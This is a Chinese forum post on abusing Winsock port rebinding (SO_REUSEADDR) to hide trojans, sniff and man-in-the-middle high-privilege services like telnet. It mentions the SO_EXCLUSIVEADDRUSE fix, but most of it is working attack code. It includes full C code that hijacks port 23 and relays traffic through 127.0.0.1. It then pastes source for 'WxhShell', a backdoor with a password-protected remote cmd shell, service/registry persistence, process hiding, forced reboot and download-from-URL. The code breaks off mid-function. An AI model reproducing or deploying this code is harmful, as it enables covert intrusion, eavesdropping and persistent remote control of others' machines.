社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17097阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TqAPAHg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PK2~fJB  
QP(BZJC  
  saddr.sin_family = AF_INET; (z7+|JE.  
`/IKdO*!S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q|(W-h+  
(< c7<_-H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u{e-G&]^;  
TzG]WsY_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o l ({AYB  
sen=0SB/  
  这意味着什么?意味着可以进行如下的攻击: UKBJ_r  
6lFfS!ZFA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rf K8q'@  
Ol/N}M|3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n"D ?I  
#"*e+.j[;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L 3XB"A#  
U5r}6D!)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c j$6  
}}{Yw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H=^K@Ti:  
<V&5P3)d9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'MxSd(T =  
aX6}6zubr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L ^`}J7r  
NL"G2[e  
  #include LHYLC>J  
  #include 4'>1HW  
  #include `` K#}3  
  #include    f'Mop= .  
  DWORD WINAPI ClientThread(LPVOID lpParam);   g=8un`]7  
  int main() | A)\ :  
  { `ldz`yu6++  
  WORD wVersionRequested; hpbf&S4  
  DWORD ret; Ctu?o+^;z  
  WSADATA wsaData; t0E51Ic@  
  BOOL val; V9%aBkf8w  
  SOCKADDR_IN saddr; Ri7((x]H"  
  SOCKADDR_IN scaddr; *C|  
  int err; &(pjqV  
  SOCKET s; KLWDo%%u  
  SOCKET sc; pox, Im  
  int caddsize; 'DbMF?<.  
  HANDLE mt; ssQ BSbx  
  DWORD tid;   ^"8wUsP  
  wVersionRequested = MAKEWORD( 2, 2 ); VR? ^HA9  
  err = WSAStartup( wVersionRequested, &wsaData ); 2tQ`/!m>v$  
  if ( err != 0 ) { P5 <vf  
  printf("error!WSAStartup failed!\n"); dFXc/VH')  
  return -1; L@Nu/(pB=  
  } vIGw6BJI  
  saddr.sin_family = AF_INET; e /K#>,  
   DvXHK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uKr1Z2  
c,\i"=!$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \%jVg\4 '  
  saddr.sin_port = htons(23); P\2M[Gu(Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j7QX ,_Q  
  { cQN sL  
  printf("error!socket failed!\n"); p<Z3tD;Z  
  return -1; 3(E $I5  
  } = "ts`>  
  val = TRUE; si4-3eC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?X$, fQ#F|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =3xE:  
  { )(M7lq.e7  
  printf("error!setsockopt failed!\n"); v-j3bB  
  return -1; YvL?j  
  } _u0$,Y?&|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V<Z'(UI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R[tC^]ai  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >H][.@LyR  
<!d"E@%v@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) UPU+ver  
  { ;F:fM!l=  
  ret=GetLastError(); upn~5>uCP  
  printf("error!bind failed!\n"); alMYk  
  return -1;  l~s7Ae  
  } lJ;J~>  
  listen(s,2); EV M7Q>  
  while(1) ;Y9=!.Ak0y  
  { ff? t[GS  
  caddsize = sizeof(scaddr); Rg&- 0b  
  //接受连接请求 2.uA|~qH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1 k8x%5p  
  if(sc!=INVALID_SOCKET) Pz_Oe,{.I  
  { /lhz],w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }Rvm &?~O  
  if(mt==NULL) sfT+i;p  
  { ,:n| ?7  
  printf("Thread Creat Failed!\n"); yY{kG2b,  
  break; @r^!{  
  } q}|U4MJm  
  } M+>`sj  
  CloseHandle(mt); qeL pXe0c  
  } Ji'(`9F&a  
  closesocket(s); F'P Qqb{  
  WSACleanup(); Lz9#A.  
  return 0; 9;t]Hp_+K  
  }   M6|I6M<  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5E\#%K[  
  {  }alj[)  
  SOCKET ss = (SOCKET)lpParam; qZk'tRv  
  SOCKET sc; fG LG$b  
  unsigned char buf[4096]; U 5w:"x  
  SOCKADDR_IN saddr; w?vVVA  
  long num; nt1CTWKM8^  
  DWORD val; bKVj[r8D~  
  DWORD ret; K<sC F[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V~MiO.B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $P o}  
  saddr.sin_family = AF_INET; P,pnga3Wu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <lxD}DH=  
  saddr.sin_port = htons(23); yq[Cq=rBk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zJlQ_U-!  
  { _W!p8cB  
  printf("error!socket failed!\n"); iTo k[uJ}  
  return -1; *ZSdl 0e  
  } we7c`1E  
  val = 100; =1;=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K ?$#nt p  
  { Yepe=s+9  
  ret = GetLastError(); |aToUi.Q%  
  return -1; QrG`&QN  
  } hIv@i\`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `D5HC  
  { .y5,x\Pq(  
  ret = GetLastError(); g&/p*c_  
  return -1; ZUXr!v/R:1  
  } =4!nFi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7EhN u@5-  
  { cp Ear  
  printf("error!socket connect failed!\n"); xvLn'8H.  
  closesocket(sc); Br>Fpe$q4  
  closesocket(ss); %~ |HFYd  
  return -1; _A_ A$N~9  
  } p\v Mc\  
  while(1) `Kl`VP=c  
  { a@d=>CT$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .4.pJbOg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c8 K3.&P6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3B0lb "e  
  num = recv(ss,buf,4096,0); [t]X/O3<  
  if(num>0) f2)XP$:  
  send(sc,buf,num,0); he3SR @\T  
  else if(num==0) rd|uz4d  
  break; Z^KA  
  num = recv(sc,buf,4096,0); bBxw#_3A?E  
  if(num>0) G`=r^$.3WB  
  send(ss,buf,num,0); 9<CG s3\  
  else if(num==0) "v*8_El  
  break; YMpf+kN  
  } \6|/RFT  
  closesocket(ss); ,FQdtNMap  
  closesocket(sc); >ndJNinV  
  return 0 ; '8FC<=+p[  
  } }S_oH9A  
w[Gh+L30=5  
XV>JD/K2  
========================================================== YOyX[&oi  
rPzQ8<  
下边附上一个代码,,WXhSHELL >"X\>M`"  
s'P( ,!f  
========================================================== bJr[I  
ug 7o>PX  
#include "stdafx.h"  Fnx`Ri  
`xS{0P{uj  
#include <stdio.h> /BKe+]dS*  
#include <string.h> fg%&N2/(.B  
#include <windows.h> `rY2up#%  
#include <winsock2.h> wz8PtfZ  
#include <winsvc.h> z;u> Yz+3  
#include <urlmon.h> DdV'c@rq+  
o(A|)c4k  
#pragma comment (lib, "Ws2_32.lib") 8Q`WB0E<|  
#pragma comment (lib, "urlmon.lib") XdgUqQb}  
[K~]&  
#define MAX_USER   100 // 最大客户端连接数 @* 1U{`  
#define BUF_SOCK   200 // sock buffer =#5D(0Ab  
#define KEY_BUFF   255 // 输入 buffer #PLEPB  
w6|9|f/  
#define REBOOT     0   // 重启 K5Wg"^AHY/  
#define SHUTDOWN   1   // 关机 pI`?(5iK6|  
rk2xKm^w  
#define DEF_PORT   5000 // 监听端口 dP$GThGl  
UO`;&e-DB  
#define REG_LEN     16   // 注册表键长度 USJ- e  
#define SVC_LEN     80   // NT服务名长度 l kIn%=Z  
-php6$|  
// 从dll定义API =?0lA_ 0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JF9yVE-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 10Wz,vW,n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !4@G3Ae22  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $ 0|a;  
d87vl13  
// wxhshell配置信息 Qq-"Cg@-/  
struct WSCFG { [t\B6XxT  
  int ws_port;         // 监听端口 :!&;p  
  char ws_passstr[REG_LEN]; // 口令 UUo;`rkT  
  int ws_autoins;       // 安装标记, 1=yes 0=no +#@"*yj3  
  char ws_regname[REG_LEN]; // 注册表键名 wbyE;W  
  char ws_svcname[REG_LEN]; // 服务名 ?C0l~:j7D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p4>$z& _  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X8eJ4%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PQW(EeQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W|k0R4K]]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !33#. @[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iJFs0?*  
$$Vt7"F  
}; ?{"mP 'dD  
%wV>0gQTf  
// default Wxhshell configuration V+-$ jOh  
struct WSCFG wscfg={DEF_PORT, 5M]z5}n/  
    "xuhuanlingzhe", Sgb*tE)T  
    1, kU5.iK'  
    "Wxhshell", 0XwHP{XaO  
    "Wxhshell", tHD  
            "WxhShell Service", V5"CSMe  
    "Wrsky Windows CmdShell Service", =! Vf  
    "Please Input Your Password: ", m*e{\)rd#  
  1, (&$VxuJ+6y  
  "http://www.wrsky.com/wxhshell.exe", k X {0y  
  "Wxhshell.exe" CJ}5T]WZ  
    }; 5s(1[(  
;lYHQQd!,  
// 消息定义模块 t 6v/sZ{F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9@Cv5L?p\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \uss Uv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P%K4[c W~  
char *msg_ws_ext="\n\rExit."; w+1Gs ;  
char *msg_ws_end="\n\rQuit."; ! 8`3GX:B_  
char *msg_ws_boot="\n\rReboot..."; 5zON}"EC  
char *msg_ws_poff="\n\rShutdown..."; IK*07h/!  
char *msg_ws_down="\n\rSave to "; +{sqcr1G  
boG_f@dv(  
char *msg_ws_err="\n\rErr!"; h gJ[LU|>  
char *msg_ws_ok="\n\rOK!"; 6q 2_WX  
E*i#?u  
char ExeFile[MAX_PATH]; iR"N13  
int nUser = 0; }i!J/tJ)b  
HANDLE handles[MAX_USER]; dz Zb  
int OsIsNt; HSq}7S&U  
6'xsG?{JY  
SERVICE_STATUS       serviceStatus; 2wF8 P)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FLEo*9u>b  
X$/2[o#g  
// 函数声明 Haqm^Ky$  
int Install(void); 1;VHM'  
int Uninstall(void); ^pHq66d%Z  
int DownloadFile(char *sURL, SOCKET wsh); 6;b~Ht  
int Boot(int flag); v%Wx4v@%SE  
void HideProc(void); tBpC: SG  
int GetOsVer(void); S6fbf>[  
int Wxhshell(SOCKET wsl); I}R0q  
void TalkWithClient(void *cs); J4Dry<  
int CmdShell(SOCKET sock); rj!0GI  
int StartFromService(void); 6Aocm R0D'  
int StartWxhshell(LPSTR lpCmdLine); qe5feky  
l&?ii68/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bj7gQ%>H4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %D *OO{  
=hl}.p  
// 数据结构和表定义 mc4i@<_?  
SERVICE_TABLE_ENTRY DispatchTable[] = j&k6O1_  
{ !>:?rSg*  
{wscfg.ws_svcname, NTServiceMain}, ~K@'+5Pc  
{NULL, NULL} $8BPlqBIZ  
}; XVU2T5s}  
E lUEteZ  
// 自我安装 B5$kHM%p  
int Install(void) m^qBx A  
{ _o8 ?E&d  
  char svExeFile[MAX_PATH]; R4-~jgzx  
  HKEY key; -IV]U*4  
  strcpy(svExeFile,ExeFile); bJD;>"*  
Wl}&?v&@  
// 如果是win9x系统,修改注册表设为自启动 iQ"XLrpl  
if(!OsIsNt) { {p,]oOq\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \QB;Ja _  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {AQ=<RDRF  
  RegCloseKey(key); j1(D]Z=\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,~._}E&9I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A@Dw<.&_I  
  RegCloseKey(key); 7VP32Eh[  
  return 0; VH:]@x//{  
    } 9YBv|A  
  } )rixMl &[  
} ~ar=PmYV7  
else { KZeQ47|  
ccL~#c0P7  
// 如果是NT以上系统,安装为系统服务 h\'n**f_x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VJS8)oI~  
if (schSCManager!=0) 2@ Z(P.Gh  
{ e>AE8T  
  SC_HANDLE schService = CreateService  E6WA}_  
  ( PsZ >P|e1  
  schSCManager, GQ-Rtn4v  
  wscfg.ws_svcname, Ox-|JJ=  
  wscfg.ws_svcdisp, ,\@O(; mF  
  SERVICE_ALL_ACCESS, ^,]B@ t2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BXyo  
  SERVICE_AUTO_START, `[n(" 7,  
  SERVICE_ERROR_NORMAL, QeK*j/  
  svExeFile, }m-FGk  
  NULL, )Qvk*9OS  
  NULL, -! K-Htb-  
  NULL, w[ ~#av9  
  NULL, `Ry]y"K  
  NULL k]I0o)+O.  
  ); ~#/hzS  
  if (schService!=0) ivz{L-  
  { OiP!vn}k  
  CloseServiceHandle(schService); L/z),#  
  CloseServiceHandle(schSCManager); ?)#5X_V-q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i _%Q`i  
  strcat(svExeFile,wscfg.ws_svcname); ',S'.U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O &-wxJ]S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B9J&=6`)  
  RegCloseKey(key); +="e]Yh;  
  return 0; ]i)j3 WDz]  
    } j.@\3'  
  } mtj h`  
  CloseServiceHandle(schSCManager); tmtT (  
} #KiRfx4G  
} [r[ =W!  
Pp5^@A  
return 1; eET}r 24  
} BGu?<bET  
y?q*WUh  
// 自我卸载 g"> {9YE  
int Uninstall(void) ze]h..,]K  
{ l c '=mA  
  HKEY key; r#B+(X7LM  
_"w2Uq  
if(!OsIsNt) { Xqm::1(-(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1N>|yQz  
  RegDeleteValue(key,wscfg.ws_regname); Ck|8qUz-  
  RegCloseKey(key); b 'pOJS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ez-[ )44/  
  RegDeleteValue(key,wscfg.ws_regname); ,9o"43D:a|  
  RegCloseKey(key); VH1d$  
  return 0; fw RZ5`v<  
  } G@Z?&"    
} x3"#POp  
} Bb"Bg\le,^  
else { 1wP-  
E3iW-B8u8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %$Aqle[  
if (schSCManager!=0) \<)9?M :  
{ sK5r$Dbr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q(oN/y3,  
  if (schService!=0) b^$|Nz;  
  { Sh8"F@P8  
  if(DeleteService(schService)!=0) { *NClfkZ  
  CloseServiceHandle(schService); vt9)pMs  
  CloseServiceHandle(schSCManager); `6xkf&Kt  
  return 0; TTTPxO,  
  } #hsx#x||  
  CloseServiceHandle(schService); 9BuSN*4  
  } TBT:/Vfun  
  CloseServiceHandle(schSCManager); 7F{3*`/6  
} Yn G_m]  
} -B$2\ZE  
%eO0w a$a  
return 1; b8LLr;oQw  
} z=3\Ab  
] A+?EE2/  
// 从指定url下载文件 u!W0P6   
int DownloadFile(char *sURL, SOCKET wsh) 07^iP>?  
{ A"rfZ`  
  HRESULT hr; yLQ*"sw\  
char seps[]= "/"; hK,Sf ;5V  
char *token; Kiu_JzD  
char *file; L>R P-x>  
char myURL[MAX_PATH]; cj'}4(  
char myFILE[MAX_PATH]; 0p!>JQ]m  
n*{sTT  
strcpy(myURL,sURL); MfWyc_  
  token=strtok(myURL,seps); ~,B5Hc 2  
  while(token!=NULL) -3=#u_  
  { TmV,&['mg  
    file=token; 7M<'/s  
  token=strtok(NULL,seps); Z Z:}AQ  
  } J.xPv)1'  
sv&;Y\2c  
GetCurrentDirectory(MAX_PATH,myFILE); ?I~()]k5  
strcat(myFILE, "\\"); 6U R2IxbE  
strcat(myFILE, file); m1M t#@,$  
  send(wsh,myFILE,strlen(myFILE),0); Pf\D-1gi  
send(wsh,"...",3,0); u*ObwcI/Bn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Bx4w)9+3  
  if(hr==S_OK) SX# e:_  
return 0; 9E>|=d|(d  
else L'0B$6  
return 1; f m)pulz  
t_$2CRG#  
} &N\jG373  
t? yz  
// 系统电源模块 \(^nSy&N  
int Boot(int flag) !FElW`F  
{ rFj-kojg  
  HANDLE hToken; :lPb.UCY  
  TOKEN_PRIVILEGES tkp; +oovx2r&  
C8V/UbA /  
  if(OsIsNt) { |n,<1QY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z:sg}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -v]Sr33L  
    tkp.PrivilegeCount = 1; $',K7%y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JS CZ{v J$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Hn%xDJ'  
if(flag==REBOOT) { #AL=f'2=f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0c<.iM  
  return 0; 0+kH:dP{  
} <FcG oGK  
else { '+?"iVVo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NnDxq%l%  
  return 0; pgQV/6  
} 0Tx{3#  
  } o4K ~  
  else { ;; C?{  
if(flag==REBOOT) { odjT:Vr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d(:8M  
  return 0; JNt^ (z  
} Z\ja  
else { B"TAjB& *  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vr^n1sgE}r  
  return 0; _/6!yyl  
} B&[M7i  
} }%'?p<^M  
2\jPv`Ia  
return 1; R3;Tk^5A  
} V-Sd[  
w[S pw<Z  
// win9x进程隐藏模块 QgU8 s'e  
void HideProc(void) Y&d00  
{ Ay5i+)MD  
17oa69G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T`\x,` ^  
  if ( hKernel != NULL ) \]2]/=2tLd  
  { R`DKu=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <`B,R*H{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gv)P]{%^  
    FreeLibrary(hKernel); )4gJd? 8R  
  } XWS%zLaK  
52 fA/sx  
return; w$z}r  
} h]5C|M|  
K;>9ZZtl  
// 获取操作系统版本 |)b6>.^  
int GetOsVer(void) 9F)z4  
{ 4cabP}gBk  
  OSVERSIONINFO winfo; +eyc`J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); } z _  
  GetVersionEx(&winfo); 6K-_pg]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P@$/P99  
  return 1; `e}bdj  
  else Y^8C)p9r  
  return 0; +cgSC5nR  
} 6y+Kjd/D  
1zm ulj%&  
// 客户端句柄模块 aY'C%^h]  
int Wxhshell(SOCKET wsl) Z&1T  
{ dJ2Hr;Lc  
  SOCKET wsh; p^%YBY#,H  
  struct sockaddr_in client; %k-3?%&8  
  DWORD myID; B_nVP  
7 %Oa;]|  
  while(nUser<MAX_USER) ^)(bM$(`  
{ m?pstuUK(  
  int nSize=sizeof(client); Szq/hv=Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \K@'Z  
  if(wsh==INVALID_SOCKET) return 1; DoJ\ q+  
l6YtEHNG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !%^^\,  
if(handles[nUser]==0)  x }\64  
  closesocket(wsh); %W%9j#!aN  
else ,&j hlZ i  
  nUser++; \ e\?I9  
  } M m[4yP%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "= 6_V?&w  
r@v,T8  
  return 0; YQ+tDZY8`  
} #MX'^RZ>2  
UR7g`/  
// 关闭 socket P3cRl']  
void CloseIt(SOCKET wsh) [Sr,h0h6  
{ P<l&0dPO8  
closesocket(wsh); A )^`?m3  
nUser--; i5Zk_-\#H  
ExitThread(0); ,sA[)wP{  
} iYDEI e  
S4^vpY DeN  
// 客户端请求句柄 yaah*1ip[  
void TalkWithClient(void *cs) .z)%)PVV  
{ lG4H:[5V  
&u /Nf&A  
  SOCKET wsh=(SOCKET)cs; [s"O mAy4  
  char pwd[SVC_LEN]; DF1I[b=]  
  char cmd[KEY_BUFF]; {;N,t]>8M  
char chr[1]; (g[h 8 c  
int i,j; ;i Fz?d3;  
P;P%n  
  while (nUser < MAX_USER) { yRSTk2N@  
_d"b;4l  
if(wscfg.ws_passstr) { )-0kb~;|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tSVc|j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JRSSn]pw  
  //ZeroMemory(pwd,KEY_BUFF); ;'5>q&[qbP  
      i=0; ]bj&bk#  
  while(i<SVC_LEN) { :p]'32FA!  
Qr^|:U!;[z  
  // 设置超时 G?E oPh^m  
  fd_set FdRead; MS\>DW  
  struct timeval TimeOut; :uWw8`  
  FD_ZERO(&FdRead); [z9 `)VIe  
  FD_SET(wsh,&FdRead); 5jd,{<  
  TimeOut.tv_sec=8; >#hO).`C  
  TimeOut.tv_usec=0; PV9pa/`@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Svondc 4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DE%KW:Hug  
^Wc@oa`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 99:C"`E{  
  pwd=chr[0]; G]+&!4  
  if(chr[0]==0xd || chr[0]==0xa) { oASY7k_3  
  pwd=0; 7w'wjX-  
  break; [x9KVd ^d  
  } IB[)TZ2m  
  i++; Tav*+  
    } Q$HG  
=at@Vp/y  
  // 如果是非法用户,关闭 socket ^r*r w=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rW+ =,L  
} +6';1Nb@  
A9wh(P0\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }o L'8-y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5[A@ gw0u  
#a<Gxj  
while(1) { Zy o[(`y  
$u9K+>.  
  ZeroMemory(cmd,KEY_BUFF); *Eo?k<:zPm  
MrDc$p W G  
      // 自动支持客户端 telnet标准   /4g1zrU  
  j=0; +tVaBhd!  
  while(j<KEY_BUFF) { c )G3k/T5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5<UVD:~z  
  cmd[j]=chr[0]; dR"@`  
  if(chr[0]==0xa || chr[0]==0xd) { +xrr? g  
  cmd[j]=0; Qk,I^1w?7  
  break; 1UE6 4Kl:S  
  } Ed_N[ I   
  j++; 4"(<X  
    } cUA7#1\T=  
nPye,"A Ol  
  // 下载文件 .w0s%T,8}^  
  if(strstr(cmd,"http://")) { YhDtUt}?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8DegN,?  
  if(DownloadFile(cmd,wsh)) !"\80LP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !t gi  
  else LN@F+CyDc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1IZ3=6  
  } yt.F\[1  
  else { d4?Mi2/jF  
_i20|v   
    switch(cmd[0]) { eD*A )  
  0a}u;gt,4w  
  // 帮助 X4 A<[&F/  
  case '?': { f' 3q(a<p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y?(r3E^x  
    break; UE$UR#T'w  
  } {= F /C,-  
  // 安装 v 8$>rwB  
  case 'i': { 5 u*-L_  
    if(Install()) O"F_*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @>W(1mRi  
    else UFp,a0|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DV<` K$ET  
    break; P] UJ0b  
    } PfC!lI BU  
  // 卸载 ug+io mZ  
  case 'r': { m^GJuP LW  
    if(Uninstall()) J"=vE=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =o&>fw  
    else t.`@{R$hoA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( 5tvfz%  
    break; f"qga/  
    } 9983aFam  
  // 显示 wxhshell 所在路径 ?kB2iU_f+  
  case 'p': { e^<#53!  
    char svExeFile[MAX_PATH]; j^^Ap  
    strcpy(svExeFile,"\n\r"); rL+!tH  
      strcat(svExeFile,ExeFile); L1Iz<>  
        send(wsh,svExeFile,strlen(svExeFile),0); Gu2P\I2zx  
    break; }Ub6eXf(2  
    } 6P5Ih  
  // 重启 fO0XA"=  
  case 'b': { 2@%$;.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Qzlo'e1  
    if(Boot(REBOOT)) 2\7`/,U6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S5G6Rj@W  
    else { %2XHNW  
    closesocket(wsh); Y6Lf@}2(i  
